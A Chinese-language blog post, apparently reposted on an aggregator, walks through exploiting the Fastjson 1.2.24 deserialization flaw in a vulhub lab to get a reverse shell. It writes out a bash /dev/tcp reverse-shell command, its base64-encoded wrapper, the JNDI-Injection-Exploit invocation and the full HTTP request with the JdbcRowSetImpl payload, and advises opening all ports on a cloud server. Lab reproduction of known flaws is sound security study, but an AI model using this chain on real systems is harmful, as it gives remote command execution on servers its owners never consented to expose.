Fastjson 1.2.24 命令执行漏洞复现-JNDI简单实现反弹shell

news/2024/7/23 19:26:02 标签: web安全, 安全, 网络安全, 系统安全, 漏洞复现

文章目录


前言

网上文章千篇一律,导致很多人都只会一种方法,只要有一种办法就所有人跟着这个办法去做了,新建java文件,然后用kali的javac去运行,但是他们都不知道kali其实并没有javac,步骤也不清不楚,这就让很多人自己去搜怎么配置javac,网上文章也是不清不楚,直接一条命令就说能解决,完全不管后果是什么,实在看不下去……

正好前几天有猫🐱问我这个漏洞,我就用我自己的简单办法来实现反弹shell,步骤完全没有你看过的那么复杂,跟着来绝对不会错。

漏洞原理这些文字我就不写了,大家自己网上搜吧。


提示:以下是本篇文章正文内容,下面案例可供参考

一、环境搭建

用docker启动vulhub的靶场就行了。
先去github下载一个vulhub靶场,进去fastjson1.2.24。
在这里插入图片描述

docker-compose up -d

在这里插入图片描述

二、漏洞复现准备

上面环境搭好之后,访问8090端口,就能看到。
在这里插入图片描述

看到上面的图片说明成功了,下面开始漏洞复现

复现之前,只需要安装一个工具。
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

在这里插入图片描述

注意注意注意📢!!!
这里要用两个不同的web服务器,比如我就是拿一台云服务VPS搭建的漏洞靶场,也就是下图这张,为了方便记忆,我就叫他小5。因为尾号有65,所以叫他小5。

在这里插入图片描述

然后,把刚刚下载的JNDI工具放到另一台VPS服务器上,可以理解为我的攻击机。因为尾号是1,为方便记忆,直接叫他老大。

在这里插入图片描述

基础薄弱的小白看到这里可能就已经懵逼了,其实你用vmware虚拟机也是一样的,启动两台不同的虚拟机就行,但是攻击机一定要有java环境。为了方便理解,我画了一张图:

在这里插入图片描述

小5是靶机,真实渗透里,小5就是你要攻击的目标。

老大是攻击机,是下载了 JNDI工具的。真实渗透里,老大就是你自己的电脑。

所以所以所以📢!!小5和老大,你可以用两台虚拟机来搞,比如你想用kali作为你的攻击机,那老大就是你的kali,另一台虚拟机搭建了漏洞环境的,就是你的靶机小5,之所以弄两台,是为了不要让大家漏洞复现的时候,靶机攻击机一起来用,我看很多人都是用kali搭建漏洞环境,然后又用同一台kali来做攻击机,结果实战的时候连监听地址和反弹shell的地址老是傻傻分不清,所以尽量靶机和攻击机分开。(当然了,kali无非也是一个debain系统,也是可以用来做靶机的。不是说kali就非要拿来做攻击机……)

好了,上面都是解释,下面开始复现。

三、漏洞复现

反弹shell的命令是下面这个,9076是监听的端口,可以随意改,合理即可。

bash -i >& /dev/tcp/攻击机ip地址/9076 0>&1

因为我的攻击机IP地址是老大(尾号为1),所以我的反弹shell里的ip地址就要改成这个老大,然后base加密。机密的网站我都给你们找好了:

https://woj.app/jjm/
在这里插入图片描述

加密之后就变成了下面这种格式:

bash -c {echo,命令加密内容}|{base64,-d}|{bash,-i}

接着用老大里的JNDI工具,执行下面的命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,加密内容}|{base64,-d}|{bash,-i}" -A "攻击机IP"

在这里插入图片描述

紫色的就是payload。

然后另起一个终端,攻击机监听9999端口。为什么是9999?因为往上数第2张图我设置的就是9999端口呀。

在这里插入图片描述

然后到攻击步骤。
注意了,这里的Content-Type字段要application/json。否则不行。

POST / HTTP/1.1
Host: 靶机url
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"payload",
        "autoCommit":true
    }
}

bp抓包,然后将Host和payload更改,发送请求:
在这里插入图片描述
成功反弹shell。

在这里插入图片描述

在老大的终端nc监听里,获取到了小5的shell。完美结束。

四、不成功的原因(排查):

1、靶机与攻击机之间是否能相互PING通。
2、payload(紫色的那些)有很多个,一个不行可以换下一个。
3、攻击机的端口是否开启了?因为很多云服务器的端口都是默认关闭的,比如腾讯云,阿里云,你需要去控制台更改安全策略,把你的监听端口以及payload的端口开启,要是嫌麻烦,可以像我一样,把所有端口开启。

以上3点都没问题,300%能复现成功。


总结

不要千篇一律,方法不止一个,不要将简单问题复杂化,看到就烦。明明一个JNDI工具就能解决的事情。

    文章原创,欢迎转载,请注明文章出处: Fastjson 1.2.24 命令执行漏洞复现-JNDI简单实现反弹shell.。百度和各类采集站皆不可信,搜索请谨慎鉴别。技术类文章一般都有时效性,本人习惯不定期对自己的博文进行修正和更新,因此请访问出处以查看本文的最新版本。


http://www.niftyadmin.cn/n/130461.html

相关文章

后端快速上手Vue+axios

文章目录前言vue基础1.el:挂载点2.data:数据对象vue常见指令vue生命周期axiosvueaxios前言 面向后端人员,旨在快速熟悉Vue框架,更详细的以后再总结 (1)Vue的特性: JavaScript框架简化Dom操作响应式数据驱动 &#…

jvm之堆解读

堆(Heap)的核心概述 堆针对一个JVM进程来说是唯一的,也就是一个进程只有一个JVM,但是进程包含多个线程,他们是共享同一堆空间的。 一个JVM实例只存在一个堆内存,堆也是Java内存管理的核心区域。 Java堆区…

[Gin]框架底层实现理解(二)

一.第一部分 对于gin框架的路由存储和查询的底层机制有一定了解后,我们开始进行源码的解析 1.gin.Default() ;Gin默认引擎 返回一个engine结构体对象,用来操作gin的各种函数 // Default returns an Engine instance with the Logger and Recovery mi…

GPU是什么

近期ChatGPT十分火爆,随之而来的是M国开始禁售高端GPU显卡。M国想通过禁售GPU显卡的方式阻挡中国在AI领域的发展。 GPU是什么?GPU(英语:Graphics Processing Unit,缩写:GPU)是显卡的“大脑”&am…

依赖倒置原则(Dependecy-Inversion Principle)

依赖倒置原则(Dependence Inversion Principle,DIP)的原始定义: 高层模块不应该依赖底层模块,两者都应该依赖其抽象;抽象不应该依赖细节;细节应该依赖抽象。 抽象:即抽象类或接口&a…

Gorm -- 查询记录

文章目录查询单条记录通过结构体查询对应表指定表并将查询一条记录结果放至字典中按照主键查询查询多行记录按照主键查询使用结构体查询指定表名查询并放至字典列表中指定查询字段查询条件Where 条件(、like、in)通过结构体或字典设置查询条件或非排序Li…

CentOS7 完全卸载 php

在 CentOS 7 使用 yum install 简单安装 php 后,发现 php 版本 5.4 ,太低了! 然后,使用 yum remove 简单卸载后,发现 php 还在,不干净! 只好 rpm 慢慢卸载 rpm -qa |grep php php-gd-5.4.16-4…

【C语言】详解静态变量static

关键字static 在C语言中:static是用来修饰变量和函数的static主要作用为:1. 修饰局部变量-静态局部变量 2. 修饰全局变量-静态全局变量3. 修饰函数-静态函数在讲解静态变量之前,我们应该了解静态变量和其他变量的区别: 修饰局部变量 //代码1 #include &l…